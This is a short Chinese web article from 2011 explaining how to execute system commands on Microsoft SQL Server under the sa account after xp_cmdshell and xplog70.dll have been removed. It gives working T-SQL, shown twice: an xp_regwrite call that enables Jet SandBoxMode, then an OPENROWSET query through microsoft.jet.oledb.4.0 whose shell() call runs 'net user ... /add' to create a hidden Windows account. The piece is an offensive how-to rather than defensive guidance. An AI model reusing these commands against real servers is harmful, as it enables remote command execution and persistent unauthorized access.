SA 沙盤(pán)模式下不用恢復(fù)xp_cmdshell和xplog70.dll也執(zhí)行命令
更新時(shí)間：2011年01月04日 23:53:03 作者：
sa下刪除xp_cmdshell和xplog70.dll時(shí)候的一種辦法，不算新的了，
也被一些人不斷的再次提出來(lái)，為了方便自己記憶再寫(xiě)出來(lái)，
在這種情況下，要執(zhí)行命令，條件是要有xp_regwrite。
首先開(kāi)啟沙盤(pán)模式：
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')
您可能感興趣的文章:
相關(guān)文章
輕松設(shè)置讓系統(tǒng)不受惡意代碼攻擊...2006-09-09
當(dāng)菜鳥(niǎo)遇上黒客之三:QQ防盜篇...2006-10-10
Mac下使用mitmproxy抓包HTTPS數(shù)據(jù)方法詳解
在Mac上常用的抓包軟件是 Charles下面為大家介紹另一個(gè)抓包神器 mitmproxy，具體使用方法大家可以參考下面的介紹2020-02-02
個(gè)人用戶(hù)防黑指南...2006-10-10
當(dāng)網(wǎng)站不允許上傳asp cer cdx htr文件時(shí)的一個(gè)解決方法！
當(dāng)網(wǎng)站不允許上傳asp cer cdx htr文件時(shí)的一個(gè)解決方法！...2006-12-12
全力打造個(gè)人網(wǎng)絡(luò)安全之XP篇...2006-09-09
怎樣讓別人中木馬-木馬常用騙術(shù)大觀...2006-10-10
當(dāng)菜鳥(niǎo)遇上黒客之二:端口掃描...2006-10-10
WEB前端常見(jiàn)受攻擊方式及解決辦法總結(jié)
這篇文章主要介紹了WEB前端常見(jiàn)受攻擊方式及解決辦法總結(jié)，文中講解非常細(xì)致，幫助大家更好的面對(duì)web攻擊，感興趣的朋友可以了解下2020-07-07
網(wǎng)站中的隱形WebEditor文件上傳漏洞補(bǔ)丁
這篇文章主要介紹了網(wǎng)站中的隱形WebEditor文件上傳漏洞補(bǔ)丁2007-02-02